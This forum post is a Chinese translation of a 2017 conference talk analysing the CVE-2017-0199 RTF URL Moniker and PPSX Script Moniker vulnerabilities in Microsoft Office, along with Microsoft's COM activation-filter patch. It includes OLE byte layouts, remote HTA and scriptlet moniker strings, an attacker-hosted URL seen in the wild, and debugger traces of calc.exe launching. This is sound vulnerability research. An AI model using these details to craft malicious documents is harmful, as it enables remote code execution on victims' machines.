首页
社区
课程
招聘
[翻译]Moniker魔法:直接在Microsoft Office中运行脚本
2017-7-16 00:28 17347

[翻译]Moniker魔法:直接在Microsoft Office中运行脚本

2017-7-16 00:28
17347

Moniker魔法:直接在Microsoft Office中运行脚本

翻译 by 银雁冰

原文链接:https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/Moniker_Magic_final.pdf


译者注:

这篇paper为Haifei Li(Halifei_Li@Macfee.com)和Bing Sun(Bing_Sun@Macfee.com)在Syscan360 2017西雅图安全会议上的演讲。2015年,两位研究员在BlackHat2015上演讲的《Attacking Interoperability:An OLE Edition》已经成为office漏洞领域的经典paper。在那次演讲中,作者侧重讨论了OLE(对象链接与嵌入)机制中的“嵌入”所相关的安全问题,本文则侧重另一个方向,即“链接”。两篇paper可以说是相互补充的。同时,这篇paper深入探讨了2017年4月出现的经典漏洞 CVE-2017-0199背后的原理,想要深入理解CVE-2017-0199原理的小伙伴请不要错过这篇文章。


相关译文链接:http://bbs.pediy.com/thread-218941.htm

议题

Ø  背景

Ø  理解RTF URL Moniker漏洞

Ø  理解PPSX Script Moniker漏洞

Ø  分析微软补丁

Ø  结论 

背景

Ø  在同一个CVE-2017-0199的公告下其实含有两个漏洞

Ø  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

Ø  让我们将其中一个称为RTF URL Moniker漏洞,并且将另一个称为PPSX Script Moniker漏洞

Ø  微软把对这两个漏洞的修复放在了同一个CVE里

 

Ø  在2016年10月,@ryHansom向微软报告了RTF URL Moniker漏洞

Ø  在2017年1月20号,Haifei向微软报告了PPSX Script Moniker漏洞

Ø  在2017年4月7号,我们在Macfee的团队发现了野外的一个0day攻击并且向大众发出了警报

Ø  这次0day攻击至少开始于2017年1月下旬,我们的样本是在VitusTotal上发现的

Ø  2017年4月11号,微软在CVE-2017-0199里面修复了RTF URL Moniker漏洞和PPSX Script Moniker漏洞

Ø  我们后来得到确认,被用在0day攻击里的漏洞正是@ryHansom发现的RTF URL Moniker漏洞

 

Ø  之前,我们本打算只讲PPSX Script Moniker漏洞

Ø  事实上,当我们在3月份提交我们的SYSCAN360 参会议题时,我们不知道还有另一个相关的漏洞(RTF URL Moniker)吸引了更多的公众注意力(作为一个0day)

Ø  我们对这两个漏洞和微软的补丁都做了深入的研究/分析

Ø  我们将要分享所有我们的发现

 

理解 RTF URL Moniker漏洞

理解 RTF URL Moniker漏洞——文件格式层面

Ø  这个漏洞与RTF里面的OLE对象序列化有关

Ø  控制字 \object

Ø  Object data被 \objdata控制字定义

Ø  \objautlink定义了对象类型*

        


*注意:根据我们的测试,这个漏洞的关键点是对象被定义为一个OLE“链接”对象(看后面),objautlink并不是必须的,相同的漏洞触发过程也可能通过使用另外的OLE相关控制字在另外的RTF场景中被触发

 

检视 Object Data对象

Ø  让我们检视一下Object Data(\objdata控制字开始)

Ø  头部

   01 05 00 00    // Version

   02 00 00 00

   09 00 00 00

   4f 4c 45 32 4c 69 6e 6b 00   //“OLE2Link”, could be anything

   00 00 00 00

   00 00 00 00

   00 0a 00 00    // Data Length

   d0cf11e0a1b11ae1000000000000000000000000000000003e..

  ..

 

Ø  d0cf11e0指明这是一个OLE结构的流,因此,我们可以将其dump为二进制并且用OLESS工具打开

 

检视OLESS Data

   

   



Ø  关键点:StdOleLink

它定义了这是一个“链接”对象,而不是“嵌入”

 

检视\x01Ole

  

Ø  [MS-OLEDS]格式规范:2.3.3节

    

Ø  让我们来一个一个检查这些字节

   01 00 00 02    // Version,必须为0x20000001

   09 00 00 00    // Flags

含义

0x00000001

OLE流结构必须是一个链接对象.

0x00000000

OLE流结构必须是一个嵌入对象.

0x00001000

这一位被设定为由应用程序或创建数据结构的更高级别协议提供的具体实现提示.在处理这个数据结构时这一位可能被忽略,一个不忽略该位的服务器实现可能在该位被设定时缓存storage.

   01 00 00 00    // LinkUpdateOption

   00 00 00 00    // Reserve1

   00 00 00 00    // ReserveMonikerStreamSize

   00 00 00 00    // RelativeSourceMonikerStreamSize

   5C 01 00 00    // AbsoluteSourceMonikerStreamSize

 

Ø  注意AbsoluteSourceMonikerStreamSize不为0,它指明了接下来的数据的大小:AbsoluteSourceMonikerStream

Ø  从格式规范中我们可以看到:

   

Moniker扫盲

Ø  “Moniker(有时因为其智能名称为人所知)是一个在整个系统中标准且可扩展的命名和连接对象的方式。简单来说,一个Moniker就是一个定义另外一个对象的对象。”

-《Inside COM+: Base Services》-

Ø  Moniker是一个特殊的COM,它允许你找到另一个COM

Ø  通过提供IMoniker接口

Ø  Windows操作系统上只有几个Monikers

Ø  File Moniker

Ø  Item Moniker

Ø  URL Moniker

Ø  ScriptMoniker

Ø  

 

什么是MONIKERSTREAM?

Ø  典型的COM对象的定义

Ø  Clsid指定了它是哪一个Moniker对象

Ø  StreamData被用来对象的初始化

 

MONIKERSTREAM

   E0 C9 EA 79 F9 BA CE 11 8C 82 00 AA 00 4B A9 0B

   44 01 00 00 68 00 74 00 74 00 70 00 3A 00 2F 00

   2F 00 31 00 39 00 32 00 2E 00 31 00 36 00 38 00

   2E 00 31 00 2E 00 36 00 36 00 2F 00 74 00 74 00

   31 00 2F 00 74 00 65 00 6D 00 70 00 6C 00 61 00

   74 00 65 00 2E 00 68 00 74 00 61 00 00 00 00 00

 

Ø  CLSID = 79eac9e0-baf9-11ce-8c82-00aa004ba90b

>

Ø  接下来的数据(StreamData)的格式是怎样的?微软的格式规范并没有告诉我们

Ø  我们自己来弄明白

 

Moniker对象初始化

Ø  在一番调试后,我们搞清StreamData事实上是Moniker对象用来给IPersisteStream使用的流

Ø  URL Moniker开放了IPersisteStream接口

Ø  通过IPersisteStream::Load()方法加载StreamData

 

Ø  因此,不同的Moniker对象也许有不同的StreamData格式,这完全取决于Moniker对象的实现

 

Ø  URL MonikerStreamData格式

44 01 00 00    // URL的最大长度,以NULL结尾

68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00

“http://95.141.38.110/mo/dnr/tmp/template.doc”

“运行”URL Moniker

Ø  诸如OLE StdOleLink这样一个结构会导致URL Moniker对象被运行

Ø  调用IMoniker::BindToObject()方法,这使得进程去寻找目标对象并将其放入运行中状态


https://msdn.microsoft.com/en-us/library/windows/desktop/ms691433(v=vs.85).aspx

 

找到&运行OLE服务器

Ø  URL Moniker有它寻找目标对象的特殊方式

Ø  如果URL 字符串以http开始,首先,URL Moniker尝试去从服务器下载资源(到IE缓存)

Ø  基于资源的多个属性,一个OLE服务器被选中

Ø  Content-Type的值

Ø  扩展名

Ø  通过OLE API GetClassFile()

Ø  最终,被选中的对象运行以处理资源

 

当“资源”是一个HTA文件

Ø  CLSID: 3050f4d8-98b5-11cf-bb82-00aa00bdce0b

   

Ø  HTA文件被COM/OLE服务器mshta.exe加载并且运行

Ø  HTA内容已经被知道是有害的

Ø  如果脚本(JS,VBS)在HTA文件中被发现,它们就会被执行

Ø  这本质上是一个可导致远程代码执行的设计/逻辑缺陷

 

DEMO

  


0:000> r

urlmon!CoCreateInstanceForObjectBinding+0x4a:

76a0af8e call dword ptr [urlmon!_imp    CoCreateInstance]

0:000> db poi(esp) L10

001b8b48   d8 f4 50 30 b5 98 cf 11-bb 82 00 aa 00 bd ce 0b

0:000> k

001b8a5c 769e0bf4 urlmon!CoCreateInstanceForObjectBinding+0x4a 001b8ad0 769de9bd urlmon!CBinding::InstantiateObject+0x217 001b8bc4 7698d3b7 urlmon!CBinding::OnObjectAvailable+0x20b

……

001b8e48 7699b684 urlmon!CTransaction::CompleteOperation+0x9d

001b92f0 769e1411 urlmon!CTransaction::StartEx+0x14a6

001b9374 7698db9c urlmon!CBinding::StartBinding+0x921

001b93c0 769beeb6 urlmon!CUrlMon::StartBinding+0x1a6 

001b9410 75503d1d urlmon!CUrlMon::BindToObject+0xc9

001b947c 7554f941 ole32!CDefLink::BindToSource+0x14e

001b9494 754d7c14 ole32!CDefLink::Run+0x36

001b94a8 57c06443 ole32!OleRun+0x3b

WARNING: Stack unwind information not available. Following frames may be wrong.

001b94d8 57b93c62 wwlib!DllGetLCID+0x4bffbd

对根本原因的总结

Ø  这个漏洞源自URL Moniker通过OLE执行危险的HTA

Ø  URL Moniker无法直接运行脚本,但是它可以找到一个OLE对象并使用这个对象来处内容

Ø  当内容为HTA内容时, htafile OLE对象被启动,HTA内容里的脚本得到运行

Ø  从文件格式的角度来看,OLE StdOleLink结构在无需用户交互下触发了整个过程

   

理解PPSX Script Moniker漏洞

理解PPSX Script Moniker漏洞——一些背景

Ø  在关于如何发现这个漏洞上有一个有趣的背景故事

 

Ø  去年11月,我们在雷德蒙的微软蓝帽大会和北京的腾讯安全大会上做了我们研究题目为Analysis of the Attack Surface of Microsoft Office from a Users Perspective的演讲

Ø  在北京,我们讨论了我们发现的一个有趣的漏洞

Ø  CVE-ID: CVE-2016-7245

Ø  Office可以通过LoadTypeLib()API加载远程,被攻击者控制的TypeLib,例如通过\\attacker_server\test.tlb

Ø  加载攻击者控制的TypeLib被知道是不安全的。例如,EIP很容易被控制为0x41414141

Ø  https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_from_User_Perspective_final.pdf 的50-61页

 

Ø  谷歌Project Zero的James Forshaw提到过一个有趣的技巧

Ø  对于我们的漏洞,如果我们给 LoadTypeLib()API提供一个moniker字符串,我们也许可以直接获得远程代码执行(不仅仅是提供解析TypeLib结构控制EIP)

Ø  script:http://server/test.sct

Ø  这个技巧事实上在MSDN为这个API 的说明里描述过,但是鲜为人知

Ø  不幸的是,由于Office VBA引擎在调用LoadTypeLib()前的额外检查代码,我们最终确认这个技巧不能被用来利用CVE-2016-7245,但我们从James的工作中学到了许多

 

Ø  在活动结束后,Haifei进一步研究了moniker领域,尤其在Office方面

 

Ø  有一天晚上,当Haifei检查沙虫漏洞利用样本(一个.pptx文件)的“关系文件”(.xml.rels)时

Ø  他想到:如果将James的技巧用在这里呢?

   

.sct文件

   

神奇的事情发生了

   

理解PPSX Script Moniker漏洞——文件格式层面

Ø  rId1是一个被我们的 魔术字符串定义的OLE对象

   

 

Ø  rId1被定义为一个link对象并且与尝试去执行OLEVerb动作的动画特性相关联

   

解析Moniker字符串

Ø  MkParseDisplayName()被调用以将魔术字符串转换成一个Moniker对象

   object

   0:000> r

   ……

   ole32!MkParseDisplayName:

   772ece79 8bff  mov edi,edi

   0:000> du poi(esp+4*2)

   0030ccc4   “script:http://server/test.sct

 

Ø  事实上,在这里,第一个:之前的字符串是重要的

Ø  scripthttp://server/test.sct

Ø  这个过程有效小复杂,更多细节请阅读:

Ø  https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

 

什么是scriptMoniker


Ø  CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC

Ø  这是给Windows脚本组件所用的moniker

Ø  如果你意识到了脚本/小脚本无需文件的恶意代码..(@subtree & 其他人的工作)

Ø  https://github.com/subtee

 

激活Moniker

Ø  然而,初始化script moniker事实上并不会让你“运行”内部的脚本

Ø  你仍然需要去“绑定”(“激活”)这个对象

Ø  一个简单的实验可以证明该点

Ø  scripthttp://server/test.sct作为参数调用MkParseDisplayName()并不会让你的代码得到执行(只有scrobj.dll这个moniker dll会被加载)

Ø  但是在初始化对象时调用BindToObject()会给你带来一切

Ø  这样一个verb动作执行尝试通过PowerPoint放映的“动画”特性去激活相关联的对象

Ø  IMoniker::BindToObject()被调用

Ø  不像RTF URL Moniker漏洞,被利用的进程起始于OLE API OleCreateLink(),而不是OleRun()

 

0:000> r

kernel32!CreateProcessW:

0:000> du poi(esp+4*2)

001d1734   "calc.exe"

0:000> k

ChildEBP RetAddr

00307b88 6632d248 kernel32!CreateProcessW

00307c10 6632d54a wshom!CWshShell::CreateShortcut+0x161

..

00307dc0 632e505b jscript!IDispatchInvoke2+0x8d

..

00308670 66364545 scrobj!ComScriptletFactory::CreateScriptlet+0x1b

00308690 757ec6cd scrobj!ComScriptletMoniker::BindToObject+0x4d

003086bc 758a44d4 ole32!BindMoniker+0x64

00308744 758e5c94 ole32!wCreateLinkEx+0x9f

003087a4 758e61c4 ole32!OleCreateLinkEx+0xaa

003087e0 651b1d54 ole32!OleCreateLink+0x42

WARNING: Stack unwind information not available. Following frames may be wrong.

0030b980 651b43cc ppcore!DllGetLCID+0x5cc232

0030ca34 64d84cd2 ppcore!DllGetLCID+0x5ce8aa

对根本原因的总结

Ø  这个漏洞是由于monikers可以通过一个PowerPoint放映文件来初始化和激活这一事实

Ø  关键点在这里,在PowerPoint的动画特性中尝试去执行verb动作时激活了对象,这最终调用了moniker上的BindToObject()

Ø  Windows 脚本组件(script Moniker)被设计用来发现和运行脚本

Ø  无需来自另外OLE对象的帮助

      

微软是如何修复这些漏洞的?

Ø  正如我们前面提及的那样,RTF URL Moniker漏洞和PPSX Script Moniker漏洞都被分配在CVE-2017-0199。并且在2017年4月的安全更新中被修复

Ø  但是,微软的补丁是如何修复它们的?

Ø  我们相当好奇。因此,我们对补丁做了一些逆向工程

Ø  事实上,我们对结果感到有些惊讶

 

COM激活过滤器

Ø  微软4月的补丁介绍/适配*了一个我们叫做“COM激活过滤器”的机制

Ø  这是一个系统层面的改变(Windows7上在ole32.dll里),任何应用程序都适用

Ø  这是一个“回调”风格的机制

Ø  一个应用程序在初始化时设立这个“回调”机制

Ø  这个“回调”例程(由应用程序所提供)将会在任何COM对象后续的实例中被调用

Ø  这允许任何应用程序在运行时去控制哪个COM对象被禁止

 

*注意:我们研究的补丁位于Windows 7 + Office 2010环境。在Windows 8/8.1/10上,这项机制已经存在相当长的时间了,或许从Windows 8发布之时就有了

Ø  详细地讲,引入下面的新函数

Ø  CoRegisterActivationFilter()    // 用以注册过滤器的导出函数

Ø  FilterActivation()  // 调用所提供的“回调”例程的内部函数

 

Ø  微软在下列的内部函数里面增加了代码,在它们做真正的工作之前调用FilterActivation()

Ø  ICoGetClassObject()

Ø  ICoCreateInstanceEx()

Ø  GetInstanceHelper()

 

Ø  既然“COM创建”APIs(例如,CoCreateInstance, CoGetClassObject)事实上调用了其中一个上述函数,程序执行流最终会调用“回调”例程

 

IActivationFilter

Ø  CoRegisterActivationFilter()函数在MSDN上有描述


Ø  注意:这个函数的参数并不是一个函数真正,而是一个接口指针

 

Ø  IActivationFilter接口的定义可以在Windows SDK中被找到(combaseapi.h)

 

Ø  它使用一个全局变量来存储接口指针

     <

 

Office在MSO.DLL中采用了“过滤器”

Ø  MSO.DLL!2711函数调用了CoRegisterActivationFilter()来设定过滤器

Ø  回调例程(IActivationFilter::HandleActivation())也位于MSO.DLL

Ø  “回调例程”检查是否被初始化的CLSID是两个黑名单里面的其中一个

Ø  如果是,直接返回“访问违例”(0x80070005)错误

 

MSO.DLL_2711函数调用CoRegisterActivationFilter

   

IActivationFilter“回调”例程

   

它禁用了两个COM对象!

Ø  两个被禁用的CLSIDs

Ø  {3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}

Ø  RTF URL Moniker漏洞中使用的htafileOLE对象!

Ø  {06290BD3-48AA-11D2-8432-006008C3FBFC}

Ø  PPSX Script Moniker漏洞中使用的script Moniker对象!

Ø  htafile OLE对象和script Moniker对象都不会在任何Office进程中被创建了

Ø  既然MSO.DLL是一个任何Office应用程序共享的核心dll,这是一个Office范围的COM killbit补丁,而不仅仅是为Word/PowerPoint

 

第二点思考

Ø  这个补丁并没有杀死这两个对象

Ø  这是一个通用的机制和一处轻量级的修改

Ø  毋庸置疑,这并没有停止(另外潜在的)远程代码攻击

Ø  我们担心被另外不安全的COM对象引入的潜在危险

Ø  RTF OLEStdOleLink特性仍然可以运行moniker/COM对象(除了黑名单列表里的那两个)

Ø  PPSX“动画”特性仍然可以运行moniker/COM对象(除了黑名单列表里的那两个)

Ø  这是一个开放领域

Ø  当用户安装第三方应用程序的时候,不安全的COM对象也许会被引入

 

结论

Ø  我们讨论了这两个有趣漏洞的根本原因

Ø  它们都与Office能“运行”moniker对象的能力相关;然而,这样的特性由两个不同的Office特性所提供

Ø  RTF OLE StdOleLink

Ø  PPSXverb动作的动画

Ø  第一个特性的代码通过URL Moniker提供的HTA内容(htafile OLE文件对象)来完成,第二个特性的代码通过script Moniker直接执行

Ø  微软使用了一种通用机制来修复这两个逻辑漏洞,尽管我们仍担心潜在的风险

Ø  我们建议安全人员持续关注Office中的COM

 

参考文献

[1] Microsoft, Security Advisory CVE-2017-0199 [Online] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

[2] McAfee, Critical Office Zero-Day Attacks Detected in the Wild [Online] https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild

[3] Microsoft, Rich Text Format (RTF) Specification, [Online]

https://www.microsoft.com/en-ca/download/details.aspx?id=10725

[4] Microsoft, [MS-OLEDS]: Object Linking and Embedding (OLE) Data Structures, [Online] https://msdn.microsoft.com/en-us/library/dd942265.aspx

[5] Guy Eddon and Henry Eddon, Inside COM+: Base Services [Book] [6] Microsoft, IMoniker interface [Online]

https://msdn.microsoft.com/en-us/library/windows/desktop/ms679705(v=vs.85).aspx

[7] Microsoft, IMoniker::BindToObject method [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/ms691433(v=vs.85).aspx

[8] Haifei Li, Analysis of the Attack Surface of Microsoft Office from a User's Perspective [Online] https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_fro m_User_Perspective_final.pdf

[9] Microsoft, LoadTypeLib function [Online]

https://msdn.microsoft.com/en-us/library/windows/desktop/ms221027(v=vs.85).aspx

[10] Microsoft, MkParseDisplayName function [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

[11] Microsoft, CoRegisterActivationFilter function [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/mt796494(v=vs.85).aspx





[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-2-8 17:02 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
虚影x 2018-8-14 16:50
2
0
感谢。虽然翻译质量可能不算很高Orz
雪    币: 68
活跃值: (3035)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
不懂就不懂 2 2019-12-30 16:27
3
0
感谢,看来大佬的翻译水平每年都在上涨。
雪    币: 346
活跃值: (62)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
护花使者cxy_ 2020-1-3 10:50
4
0
赞赞赞
游客
登录 | 注册 方可回帖
返回